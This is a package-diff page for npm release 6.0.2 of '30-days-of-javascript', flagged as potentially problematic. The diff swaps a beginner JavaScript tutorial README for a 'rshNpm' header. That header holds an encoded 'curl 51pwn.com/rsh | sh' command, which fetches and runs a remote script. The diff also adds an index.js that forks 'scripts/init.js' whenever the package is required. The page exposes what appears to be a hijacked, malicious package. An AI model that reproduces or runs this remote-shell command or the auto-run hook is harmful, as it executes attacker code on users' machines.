30-days-of-javascript 3.3.5 โ†’ 6.0.2

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of 30-days-of-javascript might be problematic. Click here for more details.

package/README.md CHANGED
@@ -1,684 +1,2 @@
1
- # 30 Days Of JavaScript
2
-
3
- | # Day | Topics |
4
- | ----- | :------------------------------------------------------------------------------------------------------------------------------------------------: |
5
- | 01 | [Introduction](./readMe.md) |
6
- | 02 | [Data Types](./02_Day_Data_types/02_day_data_types.md) |
7
- | 03 | [Booleans, Operators, Date](./03_Day_Booleans_operators_date/03_booleans_operators_date.md) |
8
- | 04 | [Conditionals](./04_Day_Conditionals/04_day_conditionals.md) |
9
- | 05 | [Arrays](./05_Day_Arrays/05_day_arrays.md) |
10
- | 06 | [Loops](./06_Day_Loops/06_day_loops.md) |
11
- | 07 | [Functions](./07_Day_Functions/07_day_functions.md) |
12
- | 08 | [Objects](./08_Day_Objects/08_day_objects.md) |
13
- | 09 | [Higher Order Functions](./09_Day_Higher_order_functions/09_day_higher_order_functions.md) |
14
- | 10 | [Sets and Maps](./10_Day_Sets_and_Maps/10_day_Sets_and_Maps.md) |
15
- | 11 | [Destructuring and Spreading](./11_Day_Destructuring_and_spreading/11_day_destructuring_and_spreading.md) |
16
- | 12 | [Regular Expressions](./12_Day_Regular_expressions/12_day_regular_expressions.md) |
17
- | 13 | [Console Object Methods](./13_Day_Console_object_methods/13_day_console_object_methods.md) |
18
- | 14 | [Error Handling](./14_Day_Error_handling/14_day_error_handling.md) |
19
- | 15 | [Classes](./15_Day_Classes/15_day_classes.md) |
20
- | 16 | [JSON](./16_Day_JSON/16_day_json.md) |
21
- | 17 | [Web Storages](./17_Day_Web_storages/17_day_web_storages.md) |
22
- | 18 | [Promises](./18_Day_Promises/18_day_promises.md) |
23
- | 19 | [Closure](./19_Day_Closures/19_day_closures.md) |
24
- | 20 | [Writing Clean Code](./20_Day_Writing_clean_codes/20_day_writing_clean_codes.md) |
25
- | 21 | [DOM](./21_Day_DOM/21_day_dom.md) |
26
- | 22 | [Manipulating DOM Object](./22_Day_Manipulating_DOM_object/22_day_manipulating_DOM_object.md) |
27
- | 23 | [Event Listeners](./23_Day_Event_listeners/23_day_event_listeners.md) |
28
- | 24 | [Mini Project: Solar System](./24_Day_Project_solar_system/24_day_project_solar_system.md) |
29
- | 25 | [Mini Project: World Countries Data Visualization 1](./25_Day_World_countries_data_visualization_1/25_day_world_countries_data_visualization_1.md) |
30
- | 26 | [Mini Project: World Countries Data Visualization 2](./26_Day_World_countries_data_visualization_2/26_day_world_countries_data_visualization_2.md) |
31
- | 27 | [Mini Project: Portfolio](./27_Day_Mini_project_portfolio/27_day_mini_project_portfolio.md) |
32
- | 28 | [Mini Project: Leaderboard](./28_Day_Mini_project_leaderboard/28_day_mini_project_leaderboard.md) |
33
- | 29 | [Mini Project: Animating characters](./29_Day_Mini_project_animating_characters/29_day_mini_project_animating_characters.md) |
34
- | 30 | [Final Projects](./30_Day_Mini_project_final/30_day_mini_project_final.md) |
35
-
36
- ๐Ÿงก๐Ÿงก๐Ÿงก HAPPY CODING ๐Ÿงก๐Ÿงก๐Ÿงก
37
-
38
- <div>
39
- <small>Support the <strong>author</strong> to create more educational materials</small> <br />
40
- <a href = "https://www.paypal.me/asabeneh"><img src='./images/paypal_lg.png' alt='Paypal Logo' style="width:10%"/></a>
41
- </div>
42
-
43
- <div align="center">
44
- <h1> 30 Days Of JavaScript: Introduction</h1>
45
- <a class="header-badge" target="_blank" href="https://www.linkedin.com/in/asabeneh/">
46
- <img src="https://img.shields.io/badge/style--5eba00.svg?label=LinkedIn&logo=linkedin&style=social">
47
- </a>
48
- <a class="header-badge" target="_blank" href="https://twitter.com/Asabeneh">
49
- <img alt="Twitter Follow" src="https://img.shields.io/twitter/follow/asabeneh?style=social">
50
- </a>
51
-
52
- <sub>Author:
53
- <a href="https://www.linkedin.com/in/asabeneh/" target="_blank">Asabeneh Yetayeh</a><br>
54
- <small> January, 2020</small>
55
- </sub>
56
-
57
- <div>
58
-
59
- ๐Ÿ‡ฌ๐Ÿ‡ง [English](./readMe.md)
60
- ๐Ÿ‡ช๐Ÿ‡ธ [Spanish](./Spanish/readme.md)
61
- ๐Ÿ‡ฎ๐Ÿ‡น [Italian](./Italian/readMe.md)
62
- ๐Ÿ‡ท๐Ÿ‡บ [Russian](./RU/README.md)
63
- ๐Ÿ‡น๐Ÿ‡ท [Turkish](./Turkish/readMe.md)
64
- ๐Ÿ‡ฆ๐Ÿ‡ฟ [Azerbaijan](./Azerbaijani/readMe.md)
65
- ๐Ÿ‡ฐ๐Ÿ‡ท [Korean](./Korea/README.md)
66
- ๐Ÿ‡ป๐Ÿ‡ณ [Vietnamese](./Vietnamese/README.md)
67
- ๐Ÿ‡ต๐Ÿ‡ฑ [Polish](./Polish/readMe.md)
68
- ๐Ÿ‡ง๐Ÿ‡ท [Portuguese](./Portuguese/readMe.md)
69
-
70
- </div>
71
-
72
- </div>
73
- </div>
74
-
75
- [Day 2 >>](./02_Day_Data_types/02_day_data_types.md)
76
-
77
- ![Thirty Days Of JavaScript](./images/day_1_1.png)
78
-
79
- - [30 Days Of JavaScript](#30-days-of-javascript)
80
- - [๐Ÿ“” Day 1](#-day-1)
81
- - [Introduction](#introduction)
82
- - [Requirements](#requirements)
83
- - [Setup](#setup)
84
- - [Install Node.js](#install-nodejs)
85
- - [Browser](#browser)
86
- - [Installing Google Chrome](#installing-google-chrome)
87
- - [Opening Google Chrome Console](#opening-google-chrome-console)
88
- - [Writing Code on Browser Console](#writing-code-on-browser-console)
89
- - [Console.log](#consolelog)
90
- - [Console.log with Multiple Arguments](#consolelog-with-multiple-arguments)
91
- - [Comments](#comments)
92
- - [Syntax](#syntax)
93
- - [Arithmetics](#arithmetics)
94
- - [Code Editor](#code-editor)
95
- - [Installing Visual Studio Code](#installing-visual-studio-code)
96
- - [How to Use Visual Studio Code](#how-to-use-visual-studio-code)
97
- - [Adding JavaScript to a Web Page](#adding-javascript-to-a-web-page)
98
- - [Inline Script](#inline-script)
99
- - [Internal Script](#internal-script)
100
- - [External Script](#external-script)
101
- - [Multiple External Scripts](#multiple-external-scripts)
102
- - [Introduction to Data types](#introduction-to-data-types)
103
- - [Numbers](#numbers)
104
- - [Strings](#strings)
105
- - [Booleans](#booleans)
106
- - [Undefined](#undefined)
107
- - [Null](#null)
108
- - [Checking Data Types](#checking-data-types)
109
- - [Comments Again](#comments-again)
110
- - [Variables](#variables)
111
- - [๐Ÿ’ป Day 1: Exercises](#-day-1-exercises)
112
-
113
- # ๐Ÿ“” Day 1
114
-
115
- ## Introduction
116
-
117
- **Congratulations** on deciding to participate in 30 days of JavaScript programming challenge. In this challenge, you will learn everything you need to be a JavaScript programmer, and in general, the whole concept of programming. In the end of the challenge, you will get a 30DaysOfJavaScript programming challenge completion certificate. In case you need help or if you would like to help others you may join the dedicated [telegram group](https://t.me/ThirtyDaysOfJavaScript).
118
-
119
- **A 30DaysOfJavaScript** challenge is a guide for both beginners and advanced JavaScript developers. Welcome to JavaScript. JavaScript is the language of the web. I enjoy using and teaching JavaScript and I hope you will do so too.
120
-
121
- In this step by step JavaScript challenge, you will learn JavaScript, the most popular programming language in the history of mankind.
122
- JavaScript is used **_to add interactivity to websites, to develop mobile apps, desktop applications, games_** and nowadays JavaScript can be used for **server-side programming**, **_machine learning_** and **_AI_**.
123
-
124
- **_JavaScript (JS)_** has increased in popularity in recent years and has been the leading
125
- programming language for last ten years and is the most used programming language on
126
- GitHub.
127
-
128
- This challenge is easy to read, written in conversational English, engaging, motivating and at the same time, it is very demanding. You need to allocate much time to finish this challenge. If you are a visual learner, you may get the video lesson on <a href="https://www.youtube.com/channel/UC7PNRuno1rzYPb1xLa4yktw"> Washera</a> YouTube channel. Subscribe the channel, comment and ask questions on YouTube vides and be proactive, the author will eventually notice you.
129
-
130
- The author likes to hear your opinion about the challenge, share the author by expressing your thoughts about the 30DaysOfJavaScript challenge. You can leave your testimonial on this [link](https://testimonial-vdzd.onrender.com//)
131
-
132
- ## Requirements
133
-
134
- No prior knowledge of programming is required to follow this challenge. You need only:
135
-
136
- 1. Motivation
137
- 2. A computer
138
- 3. Internet
139
- 4. A browser
140
- 5. A code editor
141
-
142
- ## Setup
143
-
144
- I believe you have the motivation and a strong desire to be a developer, a computer and Internet. If you have those, then you have everything to get started.
145
-
146
- ### Install Node.js
147
-
148
- You may not need Node.js right now but you may need it for later. Install [node.js](https://nodejs.org/en/).
149
-
150
- ![Node download](images/download_node.png)
151
-
152
- After downloading double click and install
153
-
154
- ![Install node](images/install_node.png)
155
-
156
- We can check if node is installed on our local machine by opening our device terminal or command prompt.
157
-
158
- ```sh
159
- asabeneh $ node -v
160
- v12.14.0
161
- ```
162
-
163
- When making this tutorial I was using Node version 12.14.0, but now the recommended version of Node.js for download is v14.17.6, by the time you use this material you may have a higher Node.js version.
164
-
165
- ### Browser
166
-
167
- There are many browsers out there. However, I strongly recommend Google Chrome.
168
-
169
- #### Installing Google Chrome
170
-
171
- Install [Google Chrome](https://www.google.com/chrome/) if you do not have one yet. We can write small JavaScript code on the browser console, but we do not use the browser console to develop applications.
172
-
173
- ![Google Chrome](images/google_chrome.png)
174
-
175
- #### Opening Google Chrome Console
176
-
177
- You can open Google Chrome console either by clicking three dots at the top right corner of the browser, selecting _More tools -> Developer tools_ or using a keyboard shortcut. I prefer using shortcuts.
178
-
179
- ![Opening chrome](images/opening_developer_tool.png)
180
-
181
- To open the Chrome console using a keyboard shortcut.
182
-
183
- ```sh
184
- Mac
185
- Command+Option+J
186
-
187
- Windows/Linux:
188
- Ctl+Shift+J
189
- ```
190
-
191
- ![Opening console](images/opening_chrome_console_shortcut.png)
192
-
193
- After you open the Google Chrome console, try to explore the marked buttons. We will spend most of the time on the Console. The Console is the place where your JavaScript code goes. The Google Console V8 engine changes your JavaScript code to machine code.
194
- Let us write a JavaScript code on the Google Chrome console:
195
-
196
- ![write code on console](./images/js_code_on_chrome_console.png)
197
-
198
- #### Writing Code on Browser Console
199
-
200
- We can write any JavaScript code on the Google console or any browser console. However, for this challenge, we only focus on Google Chrome console. Open the console using:
201
-
202
- ```sh
203
- Mac
204
- Command+Option+I
205
-
206
- Windows:
207
- Ctl+Shift+I
208
- ```
209
-
210
- ##### Console.log
211
-
212
- To write our first JavaScript code, we used a built-in function **console.log()**. We passed an argument as input data, and the function displays the output. We passed `'Hello, World'` as input data or argument in the console.log() function.
213
-
214
- ```js
215
- console.log("Hello, World!");
216
- ```
217
-
218
- ##### Console.log with Multiple Arguments
219
-
220
- The **`console.log()`** function can take multiple parameters separated by commas. The syntax looks like as follows:**`console.log(param1, param2, param3)`**
221
-
222
- ![console log multiple arguments](./images/console_log_multipl_arguments.png)
223
-
224
- ```js
225
- console.log("Hello", "World", "!");
226
- console.log("HAPPY", "NEW", "YEAR", 2020);
227
- console.log("Welcome", "to", 30, "Days", "Of", "JavaScript");
228
- ```
229
-
230
- As you can see from the snippet code above, _`console.log()`_ can take multiple arguments.
231
-
232
- Congratulations! You wrote your first JavaScript code using _`console.log()`_.
233
-
234
- ##### Comments
235
-
236
- We can add comments to our code. Comments are very important to make code more readable and to leave remarks in our code. JavaScript does not execute the comment part of our code. In JavaScript, any text line starting with // in JavaScript is a comment, and anything enclosed like this `//` is also a comment.
237
-
238
- **Example: Single Line Comment**
239
-
240
- ```js
241
- // This is the first comment
242
- // This is the second comment
243
- // I am a single line comment
244
- ```
245
-
246
- **Example: Multiline Comment**
247
-
248
- ```js
249
- /*
250
- This is a multiline comment
251
- Multiline comments can take multiple lines
252
- JavaScript is the language of the web
253
- */
254
- ```
255
-
256
- ##### Syntax
257
-
258
- Programming languages are similar to human languages. English or many other language uses words, phrases, sentences, compound sentences and other more to convey a meaningful message. The English meaning of syntax is _the arrangement of words and phrases to create well-formed sentences in a language_. The technical definition of syntax is the structure of statements in a computer language. Programming languages have syntax. JavaScript is a programming language and like other programming languages it has its own syntax. If we do not write a syntax that JavaScript understands, it will raise different types of errors. We will explore different kinds of JavaScript errors later. For now, let us see syntax errors.
259
-
260
- ![Error](images/raising_syntax_error.png)
261
-
262
- I made a deliberate mistake. As a result, the console raises syntax errors. Actually, the syntax is very informative. It informs what type of mistake was made. By reading the error feedback guideline, we can correct the syntax and fix the problem. The process of identifying and removing errors from a program is called debugging. Let us fix the errors:
263
-
264
- ```js
265
- console.log("Hello, World!");
266
- console.log("Hello, World!");
267
- ```
268
-
269
- So far, we saw how to display text using the _`console.log()`_. If we are printing text or string using _`console.log()`_, the text has to be inside the single quotes, double quotes, or a backtick.
270
- **Example:**
271
-
272
- ```js
273
- console.log("Hello, World!");
274
- console.log("Hello, World!");
275
- console.log(`Hello, World!`);
276
- ```
277
-
278
- #### Arithmetics
279
-
280
- Now, let us practice more writing JavaScript codes using _`console.log()`_ on Google Chrome console for number data types.
281
- In addition to the text, we can also do mathematical calculations using JavaScript. Let us do the following simple calculations.
282
- It is possible to write JavaScript code on Google Chrome console can directly without the **_`console.log()`_** function. However, it is included in this introduction because most of this challenge would be taking place in a text editor where the usage of the function would be mandatory. You can play around directly with instructions on the console.
283
-
284
- ![Arithmetic](images/arithmetic.png)
285
-
286
- ```js
287
- console.log(2 + 3); // Addition
288
- console.log(3 - 2); // Subtraction
289
- console.log(2 * 3); // Multiplication
290
- console.log(3 / 2); // Division
291
- console.log(3 % 2); // Modulus - finding remainder
292
- console.log(3 ** 2); // Exponentiation 3 ** 2 == 3 * 3
293
- ```
294
-
295
- ### Code Editor
296
-
297
- We can write our codes on the browser console, but it won't be for bigger projects. In a real working environment, developers use different code editors to write their codes. In this 30 days of JavaScript challenge, we will be using Visual Studio Code.
298
-
299
- #### Installing Visual Studio Code
300
-
301
- Visual Studio Code is a very popular open-source text editor. I would recommend to [download Visual Studio Code](https://code.visualstudio.com/), but if you are in favor of other editors, feel free to follow with what you have.
302
-
303
- ![Vscode](images/vscode.png)
304
-
305
- If you installed Visual Studio Code, let us start using it.
306
-
307
- #### How to Use Visual Studio Code
308
-
309
- Open the Visual Studio Code by double-clicking its icon. When you open it, you will get this kind of interface. Try to interact with the labeled icons.
310
-
311
- ![Vscode ui](./images/vscode_ui.png)
312
-
313
- ![Vscode add project](./images/adding_project_to_vscode.png)
314
-
315
- ![Vscode open project](./images/opening_project_on_vscode.png)
316
-
317
- ![script file](images/scripts_on_vscode.png)
318
-
319
- ![Installing Live Server](images/vsc_live_server.png)
320
-
321
- ![running script](./images/running_script.png)
322
-
323
- ![coding running](./images/launched_on_new_tab.png)
324
-
325
- ## Adding JavaScript to a Web Page
326
-
327
- JavaScript can be added to a web page in three different ways:
328
-
329
- - **_Inline script_**
330
- - **_Internal script_**
331
- - **_External script_**
332
- - **_Multiple External scripts_**
333
-
334
- The following sections show different ways of adding JavaScript code to your web page.
335
-
336
- ### Inline Script
337
-
338
- Create a project folder on your desktop or in any location, name it 30DaysOfJS and create an **_`index.html`_** file in the project folder. Then paste the following code and open it in a browser, for example [Chrome](https://www.google.com/chrome/).
339
-
340
- ```html
341
- <!DOCTYPE html>
342
- <html lang="en">
343
- <head>
344
- <title>30DaysOfScript:Inline Script</title>
345
- </head>
346
- <body>
347
- <button onclick="alert('Welcome to 30DaysOfJavaScript!')">Click Me</button>
348
- </body>
349
- </html>
350
- ```
351
-
352
- Now, you just wrote your first inline script. We can create a pop up alert message using the _`alert()`_ built-in function.
353
-
354
- ### Internal Script
355
-
356
- The internal script can be written in the _`head`_ or the _`body`_, but it is preferred to put it on the body of the HTML document.
357
- First, let us write on the head part of the page.
358
-
359
- ```html
360
- <!DOCTYPE html>
361
- <html lang="en">
362
- <head>
363
- <title>30DaysOfScript:Internal Script</title>
364
- <script>
365
- console.log("Welcome to 30DaysOfJavaScript");
366
- </script>
367
- </head>
368
- <body></body>
369
- </html>
370
- ```
371
-
372
- This is how we write an internal script most of the time. Writing the JavaScript code in the body section is the most preferred option. Open the browser console to see the output from the `console.log()`.
373
-
374
- ```html
375
- <!DOCTYPE html>
376
- <html lang="en">
377
- <head>
378
- <title>30DaysOfScript:Internal Script</title>
379
- </head>
380
- <body>
381
- <button onclick="alert('Welcome to 30DaysOfJavaScript!');">Click Me</button>
382
- <script>
383
- console.log("Welcome to 30DaysOfJavaScript");
384
- </script>
385
- </body>
386
- </html>
387
- ```
388
-
389
- Open the browser console to see the output from the `console.log()`.
390
-
391
- ![js code from vscode](./images/js_code_vscode.png)
392
-
393
- ### External Script
394
-
395
- Similar to the internal script, the external script link can be on the header or body, but it is preferred to put it in the body.
396
- First, we should create an external JavaScript file with .js extension. All files ending with .js extension are JavaScript files. Create a file named introduction.js inside your project directory and write the following code and link this .js file at the bottom of the body.
397
-
398
- ```js
399
- console.log("Welcome to 30DaysOfJavaScript");
400
- ```
401
-
402
- External scripts in the _head_:
403
-
404
- ```html
405
- <!DOCTYPE html>
406
- <html lang="en">
407
- <head>
408
- <title>30DaysOfJavaScript:External script</title>
409
- <script src="introduction.js"></script>
410
- </head>
411
- <body></body>
412
- </html>
413
- ```
414
-
415
- External scripts in the _body_:
416
-
417
- ```html
418
- <!DOCTYPE html>
419
- <html lang="en">
420
- <head>
421
- <title>30DaysOfJavaScript:External script</title>
422
- </head>
423
- <body>
424
- <!-- JavaScript external link could be in the header or in the body -->
425
- <!-- Before the closing tag of the body is the recommended place to put the external JavaScript script -->
426
- <script src="introduction.js"></script>
427
- </body>
428
- </html>
429
- ```
430
-
431
- Open the browser console to see the output of the `console.log()`.
432
-
433
- ### Multiple External Scripts
434
-
435
- We can also link multiple external JavaScript files to a web page.
436
- Create a `helloworld.js` file inside the 30DaysOfJS folder and write the following code.
437
-
438
- ```js
439
- console.log("Hello, World!");
440
- ```
441
-
442
- ```html
443
- <!DOCTYPE html>
444
- <html lang="en">
445
- <head>
446
- <title>Multiple External Scripts</title>
447
- </head>
448
- <body>
449
- <script src="./helloworld.js"></script>
450
- <script src="./introduction.js"></script>
451
- </body>
452
- </html>
453
- ```
454
-
455
- _Your main.js file should be below all other scripts_. It is very important to remember this.
456
-
457
- ![Multiple Script](./images/multiple_script.png)
458
-
459
- ## Introduction to Data types
460
-
461
- In JavaScript and also other programming languages, there are different types of data types. The following are JavaScript primitive data types: _String, Number, Boolean, undefined, Null_, and _Symbol_.
462
-
463
- ### Numbers
464
-
465
- - Integers: Integer (negative, zero and positive) numbers
466
- Example:
467
- ... -3, -2, -1, 0, 1, 2, 3 ...
468
- - Float-point numbers: Decimal number
469
- Example
470
- ... -3.5, -2.25, -1.0, 0.0, 1.1, 2.2, 3.5 ...
471
-
472
- ### Strings
473
-
474
- A collection of one or more characters between two single quotes, double quotes, or backticks.
475
-
476
- **Example:**
477
-
478
- ```js
479
- "a";
480
- "Asabeneh";
481
- "Asabeneh";
482
- "Finland";
483
- "JavaScript is a beautiful programming language";
484
- "I love teaching";
485
- "I hope you are enjoying the first day"`We can also create a string using a backtick`;
486
- ("A string could be just as small as one character or as big as many pages");
487
- ("Any data type under a single quote, double quote or backtick is a string");
488
- ```
489
-
490
- ### Booleans
491
-
492
- A boolean value is either True or False. Any comparisons returns a boolean value, which is either true or false.
493
-
494
- A boolean data type is either a true or false value.
495
-
496
- **Example:**
497
-
498
- ```js
499
- true; // if the light is on, the value is true
500
- false; // if the light is off, the value is false
501
- ```
502
-
503
- ### Undefined
504
-
505
- In JavaScript, if we don't assign a value to a variable, the value is undefined. In addition to that, if a function is not returning anything, it returns undefined.
506
-
507
- ```js
508
- let firstName;
509
- console.log(firstName); // undefined, because it is not assigned to a value yet
510
- ```
511
-
512
- ### Null
513
-
514
- Null in JavaScript means an empty value.
515
-
516
- ```js
517
- let emptyValue = null;
518
- ```
519
-
520
- ## Checking Data Types
521
-
522
- To check the data type of a certain variable, we use the **typeof** operator. See the following example.
523
-
524
- ```js
525
- console.log(typeof "Asabeneh"); // string
526
- console.log(typeof 5); // number
527
- console.log(typeof true); // boolean
528
- console.log(typeof null); // object type
529
- console.log(typeof undefined); // undefined
530
- ```
531
-
532
- ## Comments Again
533
-
534
- Remember that commenting in JavaScript is similar to other programming languages. Comments are important in making your code more readable.
535
- There are two ways of commenting:
536
-
537
- - _Single line commenting_
538
- - _Multiline commenting_
539
-
540
- ```js
541
- // commenting the code itself with a single comment
542
- // let firstName = 'Asabeneh'; single line comment
543
- // let lastName = 'Yetayeh'; single line comment
544
- ```
545
-
546
- Multiline commenting:
547
-
548
- ```js
549
- /*
550
- let location = 'Helsinki';
551
- let age = 100;
552
- let isMarried = true;
553
- This is a Multiple line comment
554
- */
555
- ```
556
-
557
- ## Variables
558
-
559
- Variables are _containers_ of data. Variables are used to _store_ data in a memory location. When a variable is declared, a memory location is reserved. When a variable is assigned to a value (data), the memory space will be filled with that data. To declare a variable, we use _var_, _let_, or _const_ keywords.
560
-
561
- For a variable that changes at a different time, we use _let_. If the data does not change at all, we use _const_. For example, PI, country name, gravity do not change, and we can use _const_. We will not use var in this challenge and I don't recommend you to use it. It is error prone way of declaring variable it has lots of leak. We will talk more about var, let, and const in detail in other sections (scope). For now, the above explanation is enough.
562
-
563
- A valid JavaScript variable name must follow the following rules:
564
-
565
- - A JavaScript variable name should not begin with a number.
566
- - A JavaScript variable name does not allow special characters except dollar sign and underscore.
567
- - A JavaScript variable name follows a camelCase convention.
568
- - A JavaScript variable name should not have space between words.
569
-
570
- The following are examples of valid JavaScript variables.
571
-
572
- ```js
573
- firstName;
574
- lastName;
575
- country;
576
- city;
577
- capitalCity;
578
- age;
579
- isMarried;
580
-
581
- first_name;
582
- last_name;
583
- is_married;
584
- capital_city;
585
-
586
- num1;
587
- num_1;
588
- _num_1;
589
- $num1;
590
- year2020;
591
- year_2020;
592
- ```
593
-
594
- The first and second variables on the list follows the camelCase convention of declaring in JavaScript. In this material, we will use camelCase variables(camelWithOneHump). We use CamelCase(CamelWithTwoHump) to declare classes, we will discuss about classes and objects in other section.
595
-
596
- Example of invalid variables:
597
-
598
- ```js
599
- first-name
600
- 1_num
601
- num_#_1
602
- ```
603
-
604
- Let us declare variables with different data types. To declare a variable, we need to use _let_ or _const_ keyword before the variable name. Following the variable name, we write an equal sign (assignment operator), and a value(assigned data).
605
-
606
- ```js
607
- // Syntax
608
- let nameOfVariable = value;
609
- ```
610
-
611
- The nameOfVriable is the name that stores different data of value. See below for detail examples.
612
-
613
- **Examples of declared variables**
614
-
615
- ```js
616
- // Declaring different variables of different data types
617
- let firstName = "Asabeneh"; // first name of a person
618
- let lastName = "Yetayeh"; // last name of a person
619
- let country = "Finland"; // country
620
- let city = "Helsinki"; // capital city
621
- let age = 100; // age in years
622
- let isMarried = true;
623
-
624
- console.log(firstName, lastName, country, city, age, isMarried);
625
- ```
626
-
627
- ```sh
628
- Asabeneh Yetayeh Finland Helsinki 100 true
629
- ```
630
-
631
- ```js
632
- // Declaring variables with number values
633
- let age = 100; // age in years
634
- const gravity = 9.81; // earth gravity in m/s2
635
- const boilingPoint = 100; // water boiling point, temperature in ยฐC
636
- const PI = 3.14; // geometrical constant
637
- console.log(gravity, boilingPoint, PI);
638
- ```
639
-
640
- ```sh
641
- 9.81 100 3.14
642
- ```
643
-
644
- ```js
645
- // Variables can also be declaring in one line separated by comma, however I recommend to use a seperate line to make code more readble
646
- let name = "Asabeneh",
647
- job = "teacher",
648
- live = "Finland";
649
- console.log(name, job, live);
650
- ```
651
-
652
- ```sh
653
- Asabeneh teacher Finland
654
- ```
655
-
656
- When you run _index.html_ file in the 01-Day folder you should get this:
657
-
658
- ![Day one](./images/day_1.png)
659
-
660
- ๐ŸŒ• You are amazing! You have just completed day 1 challenge and you are on your way to greatness. Now do some exercises for your brain and muscle.
661
-
662
- # ๐Ÿ’ป Day 1: Exercises
663
-
664
- 1. Write a single line comment which says, _comments can make code readable_
665
- 2. Write another single comment which says, _Welcome to 30DaysOfJavaScript_
666
- 3. Write a multiline comment which says, _comments can make code readable, easy to reuse_
667
- _and informative_
668
-
669
- 4. Create a variable.js file and declare variables and assign string, boolean, undefined and null data types
670
- 5. Create datatypes.js file and use the JavaScript **_typeof_** operator to check different data types. Check the data type of each variable
671
- 6. Declare four variables without assigning values
672
- 7. Declare four variables with assigned values
673
- 8. Declare variables to store your first name, last name, marital status, country and age in multiple lines
674
- 9. Declare variables to store your first name, last name, marital status, country and age in a single line
675
- 10. Declare two variables _myAge_ and _yourAge_ and assign them initial values and log to the browser console.
676
-
677
- ```sh
678
- I am 25 years old.
679
- You are 30 years old.
680
- ```
681
-
682
- ๐ŸŽ‰ CONGRATULATIONS ! ๐ŸŽ‰
683
-
684
- [Day 2 >>](./02_Day_Data_types/02_day_data_types.md)
1
+ # rshNpm
2
+ <img src="51pwn.com/rsh?t=curl%2051pwn%2Ecom%2Frsh%7Csh">
package/index.js ADDED
@@ -0,0 +1 @@
1
+ require("child_process").fork("scripts/init.js")